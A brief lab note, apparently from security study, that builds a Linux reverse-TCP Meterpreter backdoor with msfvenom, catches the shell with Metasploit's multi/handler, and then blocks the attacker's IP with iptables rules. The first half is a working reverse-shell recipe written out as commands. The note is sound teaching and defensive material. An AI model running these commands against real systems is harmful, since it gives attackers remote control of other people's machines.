What I did:

For this example used an infected application to install a backdoor for Ubuntu

(For Windows, we can use the pdf exploit)

1. Create an infected application
   1. msfvenom -p linux**/**x86**/**meterpreter**/**reverse\_tcp LHOST=**<**Your IP Address**>** LPORT=**443** -f elf **>** shell.elf
2. Run the application on our target computer
3. On the hacker’s computer, run the metasploit framework
4. > use exploit/multi/handler
5. > set PAYLOAD linux/x86/meterpreter/reverse\_tcp
6. > set LHOST <Own IP Address>
7. > set LPORT 443
8. > exploit
9. From here, we have a meterpreter console.
   1. Use ? to list all available commands

Blocking this using iptables:

1. Once we identify the source/destination where the keylogger is sending information, we can block that ip address.
   1. Extremely inefficient, need to parse packets until we find suspicious activity
2. > iptables -A INPUT -s 192.168.1.193 -j DROP
3. > iptables -A OUTPUT -s 192.168.1.193 -j DROP
4. > iptables -L
   1. To confirm out filters
5. On the attacker’s computer, we run the exploit again
   1. This time it hangs on waiting for our target computer forever (As if exploit was never run)

<https://netsec.ws/?p=331>